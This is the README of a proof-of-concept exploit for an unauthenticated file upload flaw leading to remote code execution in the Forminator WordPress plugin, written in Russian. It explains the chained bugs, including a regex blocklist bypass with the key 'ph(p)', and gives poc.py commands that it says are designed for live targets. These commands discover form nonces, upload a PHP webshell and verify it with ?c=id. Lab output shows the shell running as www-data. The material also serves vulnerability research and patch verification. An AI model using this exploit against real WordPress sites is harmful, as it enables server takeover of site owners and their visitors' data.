
Forminator Forms <= 1.56.1 — Неаутентифицированная произвольная загрузка файлов через подделанную конфигурацию поля загрузки
CVSS 9.8 (Critical) · Затронуто: Forminator <= 1.56.1 · Исправлено: 1.56.2
Исследователь: daroo (Wordfence Bug Bounty, $2,048) · ~600k активных установок
Разбор: wordfence.com/blog/2026/08/600000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-forminator-forms-wordpress-plugin/
Три слабых места объединяются через подделанное значение поля Select:
Отсутствие санитизации вложенных массивов полей — Forminator_CForm_Front_Action::set_field_data()
prepare_fields_info() перебирает каждое сохранённое поле. Для сохранённого поля Select select-1
значение $field_data = prepared_data['select-1'] — это управляемый атакующим вложенный массив. Когда в нём присутствует
return, массив целиком добавляется к field_data_array (front-action.php ~строка 1088),
до какой-либо санитизации/валидации по каждому полю. maybe_handle_custom_option() не удаляет эти значения.
Недоверенная конфигурация поля считается доверенной при загрузке — Forminator_CForm_Front_Action::process_uploads()
перебирает field_data_array, доверяет подделанному field_type == 'upload', использует подделанный name для выбора
входа $_FILES и передаёт подделанный field_array как доверенную конфигурацию в
Forminator_Upload::handle_file_upload().
Обход блок-листа по точному ключу — forminator_allowed_mime_types() удаляет литеральный ключ php, но
wp_check_filetype() трактует ключи как regex. Ключ ph(p) не отсекается блок-листом, но при этом соответствует
суффиксу .php. additional-type = ph(p)|text/x-php позволяет файлу .php пройти валидацию.
Опубликованная форма должна содержать оба поля: File Upload и Select. Select — лишь переносчик.
.php на диск успешно выполняется по умолчанию (для записи не требуется особая конфигурация)..htaccess. Стандартный корень Forminator и пользовательский
корень — оба получают .htaccess, блокирующий PHP (SetHandler none / RemoveHandler). RCE срабатывает только тогда, когда
этот .htaccess отсутствует — сценарий из разбора: «пользовательский корень хранилища, созданный во время фронтенд-запроса,
когда insert_with_markers() не загружен»..htaccess.wp-content/uploads/forminator/ → файл по адресу
wp-content/uploads/forminator/{form_id}_{hash}/uploads/<file>.forminator_custom_upload_root (например, cveuploads), файлы попадают в
wp-content/uploads/cveuploads/{form_id}_{hash}/uploads/<file>.<hash> — это wp_hash($form_id) — вычисляется из AUTH-солей сайта, поэтому он не предсказуем
извне. poc.py выводит шаблон пути; чтобы завершить его, необходимо восстановить хэш (листинг каталога,
URL/лог уже загруженного файла, запись в админке и т.п.) через --form-hash.wp_generate_password(12,false,false) . '-' . <original> → например,
cX3fRjMDDu03-shell.php (12 случайных буквенно-цифровых символов + + исходное имя).poc.pyПо замыслу — работа с живыми целями; вспомогательные функции локальной лаборатории (сканирование файловой системы, удаление .htaccess) ограничены только адресами
http://wordpresslab.test / http://localhost.
# A) Simplest (auto-discover): fetch page, parse nonce/form_id/fields, auto-fill, upload
python3 poc.py --target https://site.tld/ # url-only -> fetches index
python3 poc.py --target https://site.tld/kontak # path given -> fetches that page
python3 poc.py --target https://site.tld/ --page-id 42 # append ?page_id=42
# B) Manual nonce/form-id (skip discovery, still fetches page for --auto harvest)
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303
# C) Verify a candidate shell URL on a live target
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303 \
--verify-url "https://site.tld/wp-content/uploads/forminator/4840_<hash>/uploads/<12char>-shell.php"
# D) local lab: full RCE (scans container FS, removes .htaccess, executes)
python3 poc.py --target http://wordpresslab.test --page-id 32 --find-shell
--auto (извлечено из HTML формы)Пропускаются: внутренние поля (action/form_id/nonce/...), type="file" (upload-*), select-*
(переносчик эксплойта), calculation-* (вычисляемые) и поля сторонних плагинов (wpforms[...]).
Настройка:
build_form.php,
API Forminator_Form_Model).forminator_custom_upload=1, forminator_custom_upload_root=cveuploads),
чтобы можно было продемонстрировать RCE. cveuploads/ — это лабораторный артефакт, а не стандартное поведение Forminator.success=True подделанный name должен отличаться от element_id настоящего поля загрузки.
При совпадающем имени файл всё равно загружается, но настоящее поле также выполняет собственную проверку MIME по умолчанию → в ответе сообщается об ошибке, хотя шелл уже находится на диске.Сырые данные (лабораторный запуск):
# default path pattern (hash is site-secret):
wp-content/uploads/forminator/<form_id>_<hash>/uploads/<12char>-shell.php
[+] shell at: http://wordpresslab.test/wp-content/uploads/cveuploads/31_8e64.../uploads/cX3fRjMDDu03-shell.php
?c=id -> CVE-2026-15748-RCE uid=33(www-data) gid=33(www-data) groups=33(www-data)
?c=whoami -> CVE-2026-15748-RCE www-data
# .htaccess present (protected): request returns raw PHP source (not executed)
poc.py — PoC, рассчитанный на живые цели (автообнаружение, автозаполнение, verify-url, локальный помощник RCE)build_form.php — программный конструктор лабораторной формы (upload + select) через API моделиREADME.md — этот документ.htaccess/index-защитами Forminator.-| Flag | Описание |
|---|
--target | базовый URL (или полный URL страницы, если не заданы --page-id/ручные параметры) |
--page-id | ID записи; если пусто, для получения nonce/form_id запрашивается сам целевой URL |
--form-id, --nonce | обход автоматического обнаружения; страница всё равно запрашивается для сбора через --auto |
--upload-field | имя настоящего поля загрузки (по умолчанию upload-1) |
--forge-name | поддельный носитель $_FILES (по умолчанию = настоящее имя, режим коллизии; используйте отдельное имя для чистого success=True) |
--select | используемое поле select (по умолчанию select-1) |
--extra name=value | принудительно задать значение поля (повторяемый; --extra 'checkbox-1[]=a+b' для нескольких значений) |
--auto / --no-auto | извлекать реальные поля формы из HTML и автоматически заполнять правдоподобные значения по типу (по умолчанию включено) |
--upload-root | относительный корень загрузки (по умолчанию wp-content/uploads/forminator; укажите, например, wp-content/uploads/cveuploads для пользовательского корня) |
--form-hash | часть <hash> каталога загрузки → завершает/выводит конкретный URL |
--verify-url | на живой цели: проверить URL кандидатного шелла через ?c=id/?c=whoami |
--find-shell | только локально (wordpresslab.test/localhost): найти самый свежий *-shell.php, удалить .htaccess, выполнить |
--no-htaccess | вывести примечание об удалении .htaccess из локальной лаборатории |
| Тип поля | Генерируемое значение |
|---|
email / имя содержит email | auto<rand>@mailinator.com |
tel / имя содержит phone | 10 случайных цифр |
url / имя содержит url | https://example.com/<rand> |
number | случайное 1–9999 |
date | 2026-08-19 |
группа чекбоксов/радиокнопок name[] | первое значение варианта (сканируются все input с тем же именем) |
| одиночный чекбокс/радиокнопка | атрибут value, запасной вариант — checked |
<select> (не переносчик) | первая непустая опция |
<textarea> | случайный текст |
| обычный текст | 10 случайных символов |